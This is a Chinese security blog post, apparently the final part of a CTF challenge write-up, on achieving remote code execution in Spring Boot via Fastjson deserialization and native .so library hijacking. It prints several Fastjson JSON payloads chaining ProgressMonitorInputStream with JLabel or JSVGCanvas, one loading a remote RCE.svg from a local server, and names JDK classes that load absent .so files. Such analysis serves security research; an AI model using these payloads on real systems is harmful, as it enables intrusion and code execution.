springboot环境下的写文件RCE——so加载篇

admin 2026-03-04 10:03:17 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文探讨在SpringBoot环境下通过写文件结合so劫持实现RCE的技术细节。文章分析了利用Class.forName触发静态代码块加载so的原理,挖掘了EventListenerList、InternationalFormatter、UIManager等原生反序列化链,以及基于ProgressMonitorInputStream和JLabel的Fastjson反序列化链。最终提出通过寻找加载不存在so的JDK类,配合usr_paths写入实现无覆盖劫持的利用思路,具有较高实战价值。 综合评分: 95 文章分类: 漏洞分析,漏洞POC,实战经验


在CobaltStrike反制漏洞中,利用了svg远程加载jar实现RCE,JLabel链同样可以。

{"@type":&nbsp;"java.io.InputStream","@type":&nbsp;"javax.swing.ProgressMonitorInputStream","parentComponent": {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"@type":&nbsp;"javax.swing.DefaultListCellRenderer",&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"text":&nbsp;"<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='http://127.0.0.1:81/RCE.svg'></object></html>"&nbsp; &nbsp; &nbsp; &nbsp; }}

当然,也可以不用JLabel过渡,直接JSVGCanvas.setURI()

{"@type":&nbsp;"java.io.InputStream","@type":&nbsp;"javax.swing.ProgressMonitorInputStream","parentComponent": {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"@type":&nbsp;"org.apache.batik.swing.JSVGCanvas",&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"URI":&nbsp;"http://127.0.0.1:81/RCE.svg"&nbsp; &nbsp; &nbsp; &nbsp; }}

漏洞核心原理是,JLabel的object标签可以触发任意类实例化的,只不过需要是Component子类才能调setter。但我们不需要调setter啊,能够加载或者实例化类就行了。

{"@type":&nbsp;"java.io.InputStream","@type":&nbsp;"javax.swing.ProgressMonitorInputStream","parentComponent": {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"@type":&nbsp;"javax.swing.DefaultListCellRenderer",&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"text":&nbsp;"<html><object classid='sun.awt.image.JPEGImageDecoder'></object></html>"&nbsp; &nbsp; &nbsp; &nbsp; }}

8,结尾

当然,除了任意类加载触发so之外,在jdk11中还有很多很多链可以触发特定so。so劫持篇就介绍了dns/awt白名单两种办法,其他人也陆陆续续发现了一些。

至此,fastjson写文件挑战2想让大家学习的就差不多结束了。最后肯定还有人想要知道加固版本的预期解是什么。

其实就是找jdk中可以加载的so,在linux系统中并不存在。因此不需要覆盖so,只需要向usr_paths写入一个so,比如/lib/lible.so,再用JLabel链触发就行。

这样的类目前找到两个,我找到的是。

jdk.internal.jline.WindowsTerminal

su18找到的是

sun.security.jgss.wrapper.SunNativeProvider

那么fastjson写文件挑战2就完美结束了,远程环境关闭,大家可以自行搭建docker在本地上玩。

下一次【ssti挑战】正在筹备中。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:珂技知识分享 珂字辈 珂字辈《springboot环境下的写文件RCE——so加载篇》

评论:0   参与:  0